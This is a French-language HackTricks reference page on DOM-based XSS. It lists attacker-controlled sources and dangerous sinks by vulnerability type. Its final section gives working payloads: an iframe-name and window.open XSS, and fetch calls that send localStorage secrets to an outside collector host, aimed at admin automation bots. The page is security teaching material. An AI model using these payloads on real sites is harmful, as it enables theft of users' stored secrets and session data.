DOM XSS
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Vulnérabilités DOM
Les vulnérabilités DOM se produisent lorsque des données provenant de sources contrôlées par l’attaquant (comme location.search, document.referrer, ou document.cookie) sont transférées de manière non sécurisée vers des sinks. Les sinks sont des fonctions ou objets (par ex. eval(), document.body.innerHTML) qui peuvent exécuter ou afficher du contenu dangereux si on leur fournit des données malveillantes.
- Sources sont des entrées pouvant être manipulées par des attaquants, y compris les URLs, les cookies et les messages web.
- Sinks sont des endpoints potentiellement dangereux où des données malveillantes peuvent entraîner des effets indésirables, comme l’exécution de scripts.
Le risque apparaît lorsque des données circulent d’une source vers un sink sans validation ou assainissement appropriés, permettant des attaques comme XSS.
Tip
Vous pouvez trouver une liste plus à jour des sources et sinks sur https://github.com/wisec/domxsswiki/wiki
Sources courantes:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.
Tools to find them
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Browser extension to check every data taht reaches a potential sink: https://github.com/kevin-mizu/domloggerpp
Examples
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities se produisent lorsqu’un script intègre des données, qui peuvent être contrôlées par un attaquant, dans la valeur d’un cookie. Cette vulnérabilité peut provoquer un comportement inattendu de la page si le cookie est utilisé par le site. De plus, elle peut être exploitée pour mener une session fixation attack si le cookie est impliqué dans le suivi des sessions utilisateur. Le primary sink associé à cette vulnérabilité est:
Sinks:
document.cookie
JavaScript Injection
Source: https://portswigger.net/web-security/dom-based/javascript-injection
Les vulnérabilités DOM-based JavaScript injection se produisent lorsqu’un script exécute des données, qui peuvent être contrôlées par un attaquant, comme du code JavaScript.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities se produisent lorsqu’un script définit la propriété document.domain en utilisant des données qu’un attaquant peut contrôler.
La propriété document.domain joue un rôle clé dans l’application de la same-origin policy par les navigateurs. Lorsque deux pages provenant d’origines différentes définissent leur document.domain sur la même valeur, elles peuvent interagir sans restrictions. Bien que les navigateurs imposent certaines limitations sur les valeurs assignables à document.domain, empêchant l’assignation de valeurs complètement étrangères à l’origine réelle de la page, des exceptions existent. Typiquement, les navigateurs permettent l’utilisation de sous-domaines ou domaines parents.
Sinks:
document.domain
WebSocket-URL poisoning
Source: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning se produit lorsqu’un script utilise des données contrôlables comme URL cible pour une connexion WebSocket.
Sinks:
Le constructeur WebSocket peut entraîner des vulnérabilités WebSocket-URL poisoning.
Link manipulation
Source: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities surviennent lorsqu’un script écrit attacker-controllable data to a navigation target dans la page courante, comme un lien cliquable ou l’URL de soumission d’un formulaire.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities se produisent lorsqu’un script écrit attacker-controllable data into an Ajax request qui est envoyé en utilisant un objet XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
De: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities surviennent lorsqu’un script transmet des données contrôlables par un attaquant à une API de gestion de fichiers en tant que paramètre filename. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si elle est visitée par un autre utilisateur, pourrait amener le navigateur de l’utilisateur à ouvrir ou écrire un fichier local arbitraire.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities surviennent lorsque un script incorpore des données contrôlables par un attaquant dans une requête SQL côté client de manière non sécurisée.
Sinks:
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities surviennent lorsqu’un script stocke des données contrôlables par un attaquant dans le HTML5 storage du navigateur web (localStorage ou sessionStorage). Bien que cette action ne constitue pas intrinsèquement une vulnérabilité de sécurité, elle devient problématique si l’application lit ensuite les données stockées et les traite de manière non sécurisée. Cela pourrait permettre à un attaquant d’exploiter le mécanisme de stockage pour mener d’autres DOM-based attacks, such as cross-site scripting and JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
Source : https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities se produisent lorsque un script intègre attacker-controllable data into an XPath query.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
Source : https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities se produisent lorsqu’un script incorpore des données contrôlées par l’attaquant dans une chaîne qui est analysée comme une structure de données JSON puis traitée par l’application.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities surviennent lorsqu’un script envoie des données contrôlables par un attaquant en tant que web message vers un autre document dans le navigateur. Un exemple de Web-message manipulation vulnérable peut être trouvé sur PortSwigger’s Web Security Academy.
Sinks:
La méthode postMessage() utilisée pour envoyer des messages web peut conduire à des vulnérabilités si l’écouteur d’événements chargé de recevoir les messages traite les données entrantes de manière non sécurisée.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities surviennent lorsqu’un script écrit des données contrôlables par un attaquant dans un champ du DOM qui est utilisé dans l’interface utilisateur visible ou la logique côté client. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si elle est visitée par un autre utilisateur, peut altérer l’apparence ou le comportement de l’interface côté client.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
Source : https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities se produisent lorsqu’un script transmet des données contrôlables par l’attaquant de manière non sûre à une API de plateforme problématique. Cela inclut des API qui, lorsqu’elles sont invoquées, peuvent amener l’ordinateur de l’utilisateur à consommer une quantité excessive de CPU ou d’espace disque. De telles vulnérabilités peuvent avoir des effets secondaires importants, comme le navigateur restreignant les fonctionnalités du site en rejetant les tentatives de stockage de données dans localStorage ou en interrompant les scripts trop gourmands.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Variables globales implicites & abus de window.name
La référence à name sans déclaration (var/let/const) pointe vers window.name. Comme window.name persiste entre navigations cross-origin, un attaquant peut préremplir le nom d’un contexte de navigation avec du HTML/JS et plus tard amener le code de la victime à l’afficher comme des données de confiance :
- Ouvrez/naviguez jusqu’à la cible dans un contexte nommé que vous contrôlez:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Ou réutiliser
window.openavec un nom de cible spécialement conçu :
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Si l’application exécute ensuite element.innerHTML = name (ou un sink similaire) sans sanitization, la chaîne window.name contrôlée par l’attaquant s’exécute dans l’origine cible, permettant DOM XSS et l’accès au same-origin storage.
Flux Admin/automation : stockage pré-rempli et navigation javascript:
Les bots d’automatisation (p.ex., Playwright) visitent souvent d’abord une page interne, enregistrent des secrets dans localStorage/cookies, puis naviguent vers des URL fournies par l’utilisateur. Toute primitive DOM XSS (y compris l’abus de window.name) dans ce flux peut exfiltrer le secret pré-enregistré :
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Si le bot ne restreint pas les schémas d’URL, la fourniture d’une URL javascript: (javascript:fetch(...)) entraîne l’exécution dans l’origine courante sans nouvelle navigation, leak directement les valeurs de storage.
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


